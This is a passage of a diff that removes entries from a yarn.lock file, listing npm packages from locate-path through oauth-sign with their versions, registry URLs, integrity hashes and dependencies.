-integrity sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==
-dependencies:
-big.js "^5.2.2"
-emojis-list "^3.0.0"
-json5 "^1.0.1"
-
-locate-path@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-2.0.0.tgz#2b568b265eec944c6d9c0de9c3dbbbca0354cd8e"
-integrity sha1-K1aLJl7slExtnA3pw9u7ygNUzY4=
-dependencies:
-p-locate "^2.0.0"
-path-exists "^3.0.0"
-
-locate-path@^3.0.0:
-version "3.0.0"
-resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-3.0.0.tgz#dbec3b3ab759758071b58fe59fc41871af21400e"
-integrity sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==
-dependencies:
-p-locate "^3.0.0"
-path-exists "^3.0.0"
-
-locate-path@^5.0.0:
-version "5.0.0"
-resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-5.0.0.tgz#1afba396afd676a6d42504d0a67a3a7eb9f62aa0"
-integrity sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==
-dependencies:
-p-locate "^4.1.0"
-
-lodash.camelcase@^4.3.0:
-version "4.3.0"
-resolved "https://registry.yarnpkg.com/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz#b28aa6288a2b9fc651035c7711f65ab6190331a6"
-integrity sha1-soqmKIorn8ZRA1x3EfZathkDMaY=
-
-lodash.clone@^4.5.0:
-version "4.5.0"
-resolved "https://registry.yarnpkg.com/lodash.clone/-/lodash.clone-4.5.0.tgz#195870450f5a13192478df4bc3d23d2dea1907b6"
-integrity sha1-GVhwRQ9aExkkeN9Lw9I9LeoZB7Y=
-
-lodash.debounce@4.0.8:
-version "4.0.8"
-resolved "https://registry.yarnpkg.com/lodash.debounce/-/lodash.debounce-4.0.8.tgz#82d79bff30a67c4005ffd5e2515300ad9ca4d7af"
-integrity sha1-gteb/zCmfEAF/9XiUVMArZyk168=
-
-lodash.memoize@^4.1.2:
-version "4.1.2"
-resolved "https://registry.yarnpkg.com/lodash.memoize/-/lodash.memoize-4.1.2.tgz#bcc6c49a42a2840ed997f323eada5ecd182e0bfe"
-integrity sha1-vMbEmkKihA7Zl/Mj6tpezRguC/4=
-
-lodash.noop@^3.0.1:
-version "3.0.1"
-resolved "https://registry.yarnpkg.com/lodash.noop/-/lodash.noop-3.0.1.tgz#38188f4d650a3a474258439b96ec45b32617133c"
-integrity sha1-OBiPTWUKOkdCWEObluxFsyYXEzw=
-
-lodash.sortby@^4.7.0:
-version "4.7.0"
-resolved "https://registry.yarnpkg.com/lodash.sortby/-/lodash.sortby-4.7.0.tgz#edd14c824e2cc9c1e0b0a1b42bb5210516a42438"
-integrity sha1-7dFMgk4sycHgsKG0K7UhBRakJDg=
-
-lodash.uniq@^4.5.0:
-version "4.5.0"
-resolved "https://registry.yarnpkg.com/lodash.uniq/-/lodash.uniq-4.5.0.tgz#d0225373aeb652adc1bc82e4945339a842754773"
-integrity sha1-0CJTc662Uq3BvILklFM5qEJ1R3M=
-
-lodash@^4.17.10, lodash@^4.17.13, lodash@^4.17.15, lodash@^4.17.4:
-version "4.17.15"
-resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.15.tgz#b447f6670a0455bbfeedd11392eff330ea097548"
-integrity sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==
-
-log-symbols@^2.2.0:
-version "2.2.0"
-resolved "https://registry.yarnpkg.com/log-symbols/-/log-symbols-2.2.0.tgz#5740e1c5d6f0dfda4ad9323b5332107ef6b4c40a"
-integrity sha512-VeIAFslyIerEJLXHziedo2basKbMKtTw3vfn5IzG0XTjhAVEJyNHnL2p7vc+wBDSdQuUpNw3M2u6xb9QsAY5Eg==
-dependencies:
-chalk "^2.0.1"
-
-loose-envify@^1.0.0:
-version "1.4.0"
-resolved "https://registry.yarnpkg.com/loose-envify/-/loose-envify-1.4.0.tgz#71ee51fa7be4caec1a63839f7e682d8132d30caf"
-integrity sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==
-dependencies:
-js-tokens "^3.0.0 || ^4.0.0"
-
-lower-case@^1.1.1:
-version "1.1.4"
-resolved "https://registry.yarnpkg.com/lower-case/-/lower-case-1.1.4.tgz#9a2cabd1b9e8e0ae993a4bf7d5875c39c42e8eac"
-integrity sha1-miyr0bno4K6ZOkv31YdcOcQujqw=
-
-magic-string@^0.22.4:
-version "0.22.5"
-resolved "https://registry.yarnpkg.com/magic-string/-/magic-string-0.22.5.tgz#8e9cf5afddf44385c1da5bc2a6a0dbd10b03657e"
-integrity sha512-oreip9rJZkzvA8Qzk9HFs8fZGF/u7H/gtrE8EN6RjKJ9kh2HlC+yQ2QezifqTZfGyiuAV0dRv5a+y/8gBb1m9w==
-dependencies:
-vlq "^0.2.2"
-
-make-dir@^3.0.0:
-version "3.1.0"
-resolved "https://registry.yarnpkg.com/make-dir/-/make-dir-3.1.0.tgz#415e967046b3a7f1d185277d84aa58203726a13f"
-integrity sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==
-dependencies:
-semver "^6.0.0"
-
-makeerror@1.0.x:
-version "1.0.11"
-resolved "https://registry.yarnpkg.com/makeerror/-/makeerror-1.0.11.tgz#e01a5c9109f2af79660e4e8b9587790184f5a96c"
-integrity sha1-4BpckQnyr3lmDk6LlYd5AYT1qWw=
-dependencies:
-tmpl "1.0.x"
-
-map-cache@^0.2.2:
-version "0.2.2"
-resolved "https://registry.yarnpkg.com/map-cache/-/map-cache-0.2.2.tgz#c32abd0bd6525d9b051645bb4f26ac5dc98a0dbf"
-integrity sha1-wyq9C9ZSXZsFFkW7TyasXcmKDb8=
-
-map-visit@^1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/map-visit/-/map-visit-1.0.0.tgz#ecdca8f13144e660f1b5bd41f12f3479d98dfb8f"
-integrity sha1-7Nyo8TFE5mDxtb1B8S80edmN+48=
-dependencies:
-object-visit "^1.0.0"
-
-masonry-layout@^4.1.0:
-version "4.2.2"
-resolved "https://registry.yarnpkg.com/masonry-layout/-/masonry-layout-4.2.2.tgz#d57b44af13e601bfcdc423f1dd8348b5524de348"
-integrity sha512-iGtAlrpHNyxaR19CvKC3npnEcAwszXoyJiI8ARV2ePi7fmYhIud25MHK8Zx4P0LCC4d3TNO9+rFa1KoK1OEOaA==
-dependencies:
-get-size "^2.0.2"
-outlayer "^2.1.0"
-
-md5.js@^1.3.4:
-version "1.3.5"
-resolved "https://registry.yarnpkg.com/md5.js/-/md5.js-1.3.5.tgz#b5d07b8e3216e3e27cd728d72f70d1e6a342005f"
-integrity sha512-xitP+WxNPcTTOgnTJcrhM0xvdPepipPSf3I8EIpGKeFLjt3PlJLIDG3u8EX53ZIubkb+5U2+3rELYpEhHhzdkg==
-dependencies:
-hash-base "^3.0.0"
-inherits "^2.0.1"
-safe-buffer "^5.1.2"
-
-mdn-data@2.0.4:
-version "2.0.4"
-resolved "https://registry.yarnpkg.com/mdn-data/-/mdn-data-2.0.4.tgz#699b3c38ac6f1d728091a64650b65d388502fd5b"
-integrity sha512-iV3XNKw06j5Q7mi6h+9vbx23Tv7JkjEVgKHW4pimwyDGWm0OIQntJJ+u1C6mg6mK1EaTv42XQ7w76yuzH7M2cA==
-
-mdn-data@2.0.6:
-version "2.0.6"
-resolved "https://registry.yarnpkg.com/mdn-data/-/mdn-data-2.0.6.tgz#852dc60fcaa5daa2e8cf6c9189c440ed3e042978"
-integrity sha512-rQvjv71olwNHgiTbfPZFkJtjNMciWgswYeciZhtvWLO8bmX3TnhyA62I6sTWOyZssWHJJjY6/KiWwqQsWWsqOA==
-
-media-typer@0.3.0:
-version "0.3.0"
-resolved "https://registry.yarnpkg.com/media-typer/-/media-typer-0.3.0.tgz#8710d7af0aa626f8fffa1ce00168545263255748"
-integrity sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=
-
-memorystream@^0.3.1:
-version "0.3.1"
-resolved "https://registry.yarnpkg.com/memorystream/-/memorystream-0.3.1.tgz#86d7090b30ce455d63fbae12dda51a47ddcaf9b2"
-integrity sha1-htcJCzDORV1j+64S3aUaR93K+bI=
-
-merge-descriptors@1.0.1:
-version "1.0.1"
-resolved "https://registry.yarnpkg.com/merge-descriptors/-/merge-descriptors-1.0.1.tgz#b00aaa556dd8b44568150ec9d1b953f3f90cbb61"
-integrity sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E=
-
-merge-source-map@1.0.4:
-version "1.0.4"
-resolved "https://registry.yarnpkg.com/merge-source-map/-/merge-source-map-1.0.4.tgz#a5de46538dae84d4114cc5ea02b4772a6346701f"
-integrity sha1-pd5GU42uhNQRTMXqArR3KmNGcB8=
-dependencies:
-source-map "^0.5.6"
-
-merge-stream@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/merge-stream/-/merge-stream-2.0.0.tgz#52823629a14dd00c9770fb6ad47dc6310f2c1f60"
-integrity sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==
-
-merge2@^1.2.3:
-version "1.4.1"
-resolved "https://registry.yarnpkg.com/merge2/-/merge2-1.4.1.tgz#4368892f885e907455a6fd7dc55c0c9d404990ae"
-integrity sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==
-
-methods@~1.1.2:
-version "1.1.2"
-resolved "https://registry.yarnpkg.com/methods/-/methods-1.1.2.tgz#5529a4d67654134edcc5266656835b0f851afcee"
-integrity sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=
-
-micromatch@^3.0.4, micromatch@^3.1.10, micromatch@^3.1.4:
-version "3.1.10"
-resolved "https://registry.yarnpkg.com/micromatch/-/micromatch-3.1.10.tgz#70859bc95c9840952f359a068a3fc49f9ecfac23"
-integrity sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==
-dependencies:
-arr-diff "^4.0.0"
-array-unique "^0.3.2"
-braces "^2.3.1"
-define-property "^2.0.2"
-extend-shallow "^3.0.2"
-extglob "^2.0.4"
-fragment-cache "^0.2.1"
-kind-of "^6.0.2"
-nanomatch "^1.2.9"
-object.pick "^1.3.0"
-regex-not "^1.0.0"
-snapdragon "^0.8.1"
-to-regex "^3.0.2"
-
-micromatch@^4.0.2:
-version "4.0.2"
-resolved "https://registry.yarnpkg.com/micromatch/-/micromatch-4.0.2.tgz#4fcb0999bf9fbc2fcbdd212f6d629b9a56c39259"
-integrity sha512-y7FpHSbMUMoyPbYUSzO6PaZ6FyRnQOpHuKwbo1G+Knck95XVU4QAiKdGEnj5wwoS7PlOgthX/09u5iFJ+aYf5Q==
-dependencies:
-braces "^3.0.1"
-picomatch "^2.0.5"
-
-miller-rabin@^4.0.0:
-version "4.0.1"
-resolved "https://registry.yarnpkg.com/miller-rabin/-/miller-rabin-4.0.1.tgz#f080351c865b0dc562a8462966daa53543c78a4d"
-integrity sha512-115fLhvZVqWwHPbClyntxEVfVDfl9DLLTuJvq3g2O/Oxi8AiNouAHvDSzHS0viUJc+V5vm3eq91Xwqn9dp4jRA==
-dependencies:
-bn.js "^4.0.0"
-brorand "^1.0.1"
-
-mime-db@1.44.0:
-version "1.44.0"
-resolved "https://registry.yarnpkg.com/mime-db/-/mime-db-1.44.0.tgz#fa11c5eb0aca1334b4233cb4d52f10c5a6272f92"
-integrity sha512-/NOTfLrsPBVeH7YtFPgsVWveuL+4SjjYxaQ1xtM1KMFj7HdxlBlxeyNLzhyJVx7r4rZGJAZ/6lkKCitSc/Nmpg==
-
-mime-types@^2.1.12, mime-types@~2.1.19, mime-types@~2.1.24:
-version "2.1.27"
-resolved "https://registry.yarnpkg.com/mime-types/-/mime-types-2.1.27.tgz#47949f98e279ea53119f5722e0f34e529bec009f"
-integrity sha512-JIhqnCasI9yD+SsmkquHBxTSEuZdQX5BuQnS2Vc7puQQQ+8yiP5AY5uWhpdv4YL4VM5c6iliiYWPgJ/nJQLp7w==
-dependencies:
-mime-db "1.44.0"
-
-mime@1.6.0:
-version "1.6.0"
-resolved "https://registry.yarnpkg.com/mime/-/mime-1.6.0.tgz#32cd9e5c64553bd58d19a568af452acff04981b1"
-integrity sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==
-
-mimic-fn@^1.0.0:
-version "1.2.0"
-resolved "https://registry.yarnpkg.com/mimic-fn/-/mimic-fn-1.2.0.tgz#820c86a39334640e99516928bd03fca88057d022"
-integrity sha512-jf84uxzwiuiIVKiOLpfYk7N46TSy8ubTonmneY9vrpHNAnp0QBt2BxWV9dO3/j+BoVAb+a5G6YDPW3M5HOdMWQ==
-
-mimic-fn@^2.1.0:
-version "2.1.0"
-resolved "https://registry.yarnpkg.com/mimic-fn/-/mimic-fn-2.1.0.tgz#7ed2c2ccccaf84d3ffcb7a69b57711fc2083401b"
-integrity sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==
-
-minimalistic-assert@^1.0.0, minimalistic-assert@^1.0.1:
-version "1.0.1"
-resolved "https://registry.yarnpkg.com/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz#2e194de044626d4a10e7f7fbc00ce73e83e4d5c7"
-integrity sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==
-
-minimalistic-crypto-utils@^1.0.0, minimalistic-crypto-utils@^1.0.1:
-version "1.0.1"
-resolved "https://registry.yarnpkg.com/minimalistic-crypto-utils/-/minimalistic-crypto-utils-1.0.1.tgz#f6c00c1c0b082246e5c4d99dfb8c7c083b2b582a"
-integrity sha1-9sAMHAsIIkblxNmd+4x8CDsrWCo=
-
-minimatch@^3.0.4:
-version "3.0.4"
-resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.0.4.tgz#5166e286457f03306064be5497e8dbb0c3d32083"
-integrity sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==
-dependencies:
-brace-expansion "^1.1.7"
-
-minimist@0.0.8:
-version "0.0.8"
-resolved "https://registry.yarnpkg.com/minimist/-/minimist-0.0.8.tgz#857fcabfc3397d2625b8228262e86aa7a011b05d"
-integrity sha1-hX/Kv8M5fSYluCKCYuhqp6ARsF0=
-
-minimist@^1.1.1, minimist@^1.1.3, minimist@^1.2.0, minimist@^1.2.5:
-version "1.2.5"
-resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.5.tgz#67d66014b66a6a8aaa0c083c5fd58df4e4e97602"
-integrity sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==
-
-mixin-deep@^1.2.0:
-version "1.3.2"
-resolved "https://registry.yarnpkg.com/mixin-deep/-/mixin-deep-1.3.2.tgz#1120b43dc359a785dce65b55b82e257ccf479566"
-integrity sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==
-dependencies:
-for-in "^1.0.2"
-is-extendable "^1.0.1"
-
-mkdirp@0.5.1:
-version "0.5.1"
-resolved "https://registry.yarnpkg.com/mkdirp/-/mkdirp-0.5.1.tgz#30057438eac6cf7f8c4767f38648d6697d75c903"
-integrity sha1-MAV0OOrGz3+MR2fzhkjWaX11yQM=
-dependencies:
-minimist "0.0.8"
-
-mkdirp@^0.5.1, mkdirp@~0.5.1:
-version "0.5.5"
-resolved "https://registry.yarnpkg.com/mkdirp/-/mkdirp-0.5.5.tgz#d91cefd62d1436ca0f41620e251288d420099def"
-integrity sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==
-dependencies:
-minimist "^1.2.5"
-
-modularscale-sass@^3.0.10:
-version "3.0.10"
-resolved "https://registry.yarnpkg.com/modularscale-sass/-/modularscale-sass-3.0.10.tgz#3a596b090360129dd2375bee81b9318085cb47b3"
-integrity sha512-ppbMfcXC+ESpqk1s8BfqsuY85DTAJdoPLxrYFohAUjg3r9eh2CBm2Wn7+JAh26DbRpAHynRt3a8ma2FOfk7JGA==
-
-ms@2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/ms/-/ms-2.0.0.tgz#5608aeadfc00be6c2901df5f9861788de0d597c8"
-integrity sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=
-
-ms@2.1.1:
-version "2.1.1"
-resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.1.tgz#30a5864eb3ebb0a66f2ebe6d727af06a09d86e0a"
-integrity sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==
-
-ms@^2.1.1:
-version "2.1.2"
-resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.2.tgz#d09d1f357b443f493382a8eb3ccd183872ae6009"
-integrity sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==
-
-nan@^2.12.1:
-version "2.14.1"
-resolved "https://registry.yarnpkg.com/nan/-/nan-2.14.1.tgz#d7be34dfa3105b91494c3147089315eff8874b01"
-integrity sha512-isWHgVjnFjh2x2yuJ/tj3JbwoHu3UC2dX5G/88Cm24yB6YopVgxvBObDY7n5xW6ExmFhJpSEQqFPvq9zaXc8Jw==
-
-nanomatch@^1.2.9:
-version "1.2.13"
-resolved "https://registry.yarnpkg.com/nanomatch/-/nanomatch-1.2.13.tgz#b87a8aa4fc0de8fe6be88895b38983ff265bd119"
-integrity sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==
-dependencies:
-arr-diff "^4.0.0"
-array-unique "^0.3.2"
-define-property "^2.0.2"
-extend-shallow "^3.0.2"
-fragment-cache "^0.2.1"
-is-windows "^1.0.2"
-kind-of "^6.0.2"
-object.pick "^1.3.0"
-regex-not "^1.0.0"
-snapdragon "^0.8.1"
-to-regex "^3.0.1"
-
-natural-compare@^1.4.0:
-version "1.4.0"
-resolved "https://registry.yarnpkg.com/natural-compare/-/natural-compare-1.4.0.tgz#4abebfeed7541f2c27acfb29bdbbd15c8d5ba4f7"
-integrity sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=
-
-negotiator@0.6.2:
-version "0.6.2"
-resolved "https://registry.yarnpkg.com/negotiator/-/negotiator-0.6.2.tgz#feacf7ccf525a77ae9634436a64883ffeca346fb"
-integrity sha512-hZXc7K2e+PgeI1eDBe/10Ard4ekbfrrqG8Ep+8Jmf4JID2bNg7NvCPOZN+kfF574pFQI7mum2AUqDidoKqcTOw==
-
-netlify-plugin-minify-html@^0.2.3:
-version "0.2.3"
-resolved "https://registry.yarnpkg.com/netlify-plugin-minify-html/-/netlify-plugin-minify-html-0.2.3.tgz#3e7f2ce846f1fb20e8f24c08af47dc268fe44c1c"
-integrity sha512-loe90gIM9zHYfZo5xkA7bwY7tDGzXrwiRZ6kLjI9zVvI96mNgu8L09geAYfj/7fqm0WIJ1wTfXReQyh1jXBWWA==
-dependencies:
-"@node-minify/core" "^5.3.0"
-"@node-minify/html-minifier" "^5.3.0"
-
-nice-try@^1.0.4:
-version "1.0.5"
-resolved "https://registry.yarnpkg.com/nice-try/-/nice-try-1.0.5.tgz#a3378a7696ce7d223e88fc9b764bd7ef1089e366"
-integrity sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==
-
-no-case@^2.2.0:
-version "2.3.2"
-resolved "https://registry.yarnpkg.com/no-case/-/no-case-2.3.2.tgz#60b813396be39b3f1288a4c1ed5d1e7d28b464ac"
-integrity sha512-rmTZ9kz+f3rCvK2TD1Ue/oZlns7OGoIWP4fc3llxxRXlOkHKoWPPWJOfFYpITabSow43QJbRIoHQXtt10VldyQ==
-dependencies:
-lower-case "^1.1.1"
-
-node-addon-api@^1.7.1:
-version "1.7.2"
-resolved "https://registry.yarnpkg.com/node-addon-api/-/node-addon-api-1.7.2.tgz#3df30b95720b53c24e59948b49532b662444f54d"
-integrity sha512-ibPK3iA+vaY1eEjESkQkM0BbCqFOaZMiXRTtdB0u7b4djtY6JnsjvPdUHVMg6xQt3B8fpTTWHI9A+ADjM9frzg==
-
-node-forge@^0.7.1:
-version "0.7.6"
-resolved "https://registry.yarnpkg.com/node-forge/-/node-forge-0.7.6.tgz#fdf3b418aee1f94f0ef642cd63486c77ca9724ac"
-integrity sha512-sol30LUpz1jQFBjOKwbjxijiE3b6pjd74YwfD0fJOKPjF+fONKb2Yg8rYgS6+bK6VDl+/wfr4IYpC7jDzLUIfw==
-
-node-int64@^0.4.0:
-version "0.4.0"
-resolved "https://registry.yarnpkg.com/node-int64/-/node-int64-0.4.0.tgz#87a9065cdb355d3182d8f94ce11188b825c68a3b"
-integrity sha1-h6kGXNs1XTGC2PlM4RGIuCXGijs=
-
-node-libs-browser@^2.0.0:
-version "2.2.1"
-resolved "https://registry.yarnpkg.com/node-libs-browser/-/node-libs-browser-2.2.1.tgz#b64f513d18338625f90346d27b0d235e631f6425"
-integrity sha512-h/zcD8H9kaDZ9ALUWwlBUDo6TKF8a7qBSCSEGfjTVIYeqsioSKaAX+BN7NgiMGp6iSIXZ3PxgCu8KS3b71YK5Q==
-dependencies:
-assert "^1.1.1"
-browserify-zlib "^0.2.0"
-buffer "^4.3.0"
-console-browserify "^1.1.0"
-constants-browserify "^1.0.0"
-crypto-browserify "^3.11.0"
-domain-browser "^1.1.1"
-events "^3.0.0"
-https-browserify "^1.0.0"
-os-browserify "^0.3.0"
-path-browserify "0.0.1"
-process "^0.11.10"
-punycode "^1.2.4"
-querystring-es3 "^0.2.0"
-readable-stream "^2.3.3"
-stream-browserify "^2.0.1"
-stream-http "^2.7.2"
-string_decoder "^1.0.0"
-timers-browserify "^2.0.4"
-tty-browserify "0.0.0"
-url "^0.11.0"
-util "^0.11.0"
-vm-browserify "^1.0.1"
-
-node-modules-regexp@^1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/node-modules-regexp/-/node-modules-regexp-1.0.0.tgz#8d9dbe28964a4ac5712e9131642107c71e90ec40"
-integrity sha1-jZ2+KJZKSsVxLpExZCEHxx6Q7EA=
-
-node-notifier@^7.0.0:
-version "7.0.1"
-resolved "https://registry.yarnpkg.com/node-notifier/-/node-notifier-7.0.1.tgz#a355e33e6bebacef9bf8562689aed0f4230ca6f9"
-integrity sha512-VkzhierE7DBmQEElhTGJIoiZa1oqRijOtgOlsXg32KrJRXsPy0NXFBqWGW/wTswnJlDCs5viRYaqWguqzsKcmg==
-dependencies:
-growly "^1.3.0"
-is-wsl "^2.1.1"
-semver "^7.2.1"
-shellwords "^0.1.1"
-uuid "^7.0.3"
-which "^2.0.2"
-
-node-releases@^1.1.53:
-version "1.1.58"
-resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-1.1.58.tgz#8ee20eef30fa60e52755fcc0942def5a734fe935"
-integrity sha512-NxBudgVKiRh/2aPWMgPR7bPTX0VPmGx5QBwCtdHitnqFE5/O8DeBXuIMH1nwNnw/aMo6AjOrpsHzfY3UbUJ7yg==
-
-normalize-html-whitespace@^1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/normalize-html-whitespace/-/normalize-html-whitespace-1.0.0.tgz#5e3c8e192f1b06c3b9eee4b7e7f28854c7601e34"
-integrity sha512-9ui7CGtOOlehQu0t/OhhlmDyc71mKVlv+4vF+me4iZLPrNtRL2xoquEdfZxasC/bdQi/Hr3iTrpyRKIG+ocabA==
-
-normalize-package-data@^2.3.2, normalize-package-data@^2.5.0:
-version "2.5.0"
-resolved "https://registry.yarnpkg.com/normalize-package-data/-/normalize-package-data-2.5.0.tgz#e66db1838b200c1dfc233225d12cb36520e234a8"
-integrity sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==
-dependencies:
-hosted-git-info "^2.1.4"
-resolve "^1.10.0"
-semver "2 || 3 || 4 || 5"
-validate-npm-package-license "^3.0.1"
-
-normalize-path@^2.1.1:
-version "2.1.1"
-resolved "https://registry.yarnpkg.com/normalize-path/-/normalize-path-2.1.1.tgz#1ab28b556e198363a8c1a6f7e6fa20137fe6aed9"
-integrity sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=
-dependencies:
-remove-trailing-separator "^1.0.1"
-
-normalize-path@^3.0.0, normalize-path@~3.0.0:
-version "3.0.0"
-resolved "https://registry.yarnpkg.com/normalize-path/-/normalize-path-3.0.0.tgz#0dcd69ff23a1c9b11fd0978316644a0388216a65"
-integrity sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==
-
-normalize-range@^0.1.2:
-version "0.1.2"
-resolved "https://registry.yarnpkg.com/normalize-range/-/normalize-range-0.1.2.tgz#2d10c06bdfd312ea9777695a4d28439456b75942"
-integrity sha1-LRDAa9/TEuqXd2laTShDlFa3WUI=
-
-normalize-url@^3.0.0:
-version "3.3.0"
-resolved "https://registry.yarnpkg.com/normalize-url/-/normalize-url-3.3.0.tgz#b2e1c4dc4f7c6d57743df733a4f5978d18650559"
-integrity sha512-U+JJi7duF1o+u2pynbp2zXDW2/PADgC30f0GsHZtRh+HOcXHnw137TrNlyxxRvWW5fjKd3bcLHPxofWuCjaeZg==
-
-npm-run-all@^4.1.5:
-version "4.1.5"
-resolved "https://registry.yarnpkg.com/npm-run-all/-/npm-run-all-4.1.5.tgz#04476202a15ee0e2e214080861bff12a51d98fba"
-integrity sha512-Oo82gJDAVcaMdi3nuoKFavkIHBRVqQ1qvMb+9LHk/cF4P6B2m8aP04hGf7oL6wZ9BuGwX1onlLhpuoofSyoQDQ==
-dependencies:
-ansi-styles "^3.2.1"
-chalk "^2.4.1"
-cross-spawn "^6.0.5"
-memorystream "^0.3.1"
-minimatch "^3.0.4"
-pidtree "^0.3.0"
-read-pkg "^3.0.0"
-shell-quote "^1.6.1"
-string.prototype.padend "^3.0.0"
-
-npm-run-path@^2.0.0:
-version "2.0.2"
-resolved "https://registry.yarnpkg.com/npm-run-path/-/npm-run-path-2.0.2.tgz#35a9232dfa35d7067b4cb2ddf2357b1871536c5f"
-integrity sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=
-dependencies:
-path-key "^2.0.0"
-
-npm-run-path@^4.0.0:
-version "4.0.1"
-resolved "https://registry.yarnpkg.com/npm-run-path/-/npm-run-path-4.0.1.tgz#b7ecd1e5ed53da8e37a55e1c2269e0b97ed748ea"
-integrity sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==
-dependencies:
-path-key "^3.0.0"
-
-nth-check@^1.0.2:
-version "1.0.2"
-resolved "https://registry.yarnpkg.com/nth-check/-/nth-check-1.0.2.tgz#b2bd295c37e3dd58a3bf0700376663ba4d9cf05c"
-integrity sha512-WeBOdju8SnzPN5vTUJYxYUxLeXpCaVP5i5e0LF8fg7WORF2Wd7wFX/pk0tYZk7s8T+J7VLy0Da6J1+wCT0AtHg==
-dependencies:
-boolbase "~1.0.0"
-
-num2fraction@^1.2.2:
-version "1.2.2"
-resolved "https://registry.yarnpkg.com/num2fraction/-/num2fraction-1.2.2.tgz#6f682b6a027a4e9ddfa4564cd2589d1d4e669ede"
-integrity sha1-b2gragJ6Tp3fpFZM0lidHU5mnt4=
-
-nwsapi@^2.1.3, nwsapi@^2.2.0:
-version "2.2.0"
-resolved "https://registry.yarnpkg.com/nwsapi/-/nwsapi-2.2.0.tgz#204879a9e3d068ff2a55139c2c772780681a38b7"
-integrity sha512-h2AatdwYH+JHiZpv7pt/gSX1XoRGb7L/qSIeuqA6GwYoF9w1vP1cw42TO0aI2pNyshRK5893hNSl+1//vHK7hQ==
-
-oauth-sign@~0.9.0:
-version "0.9.0"
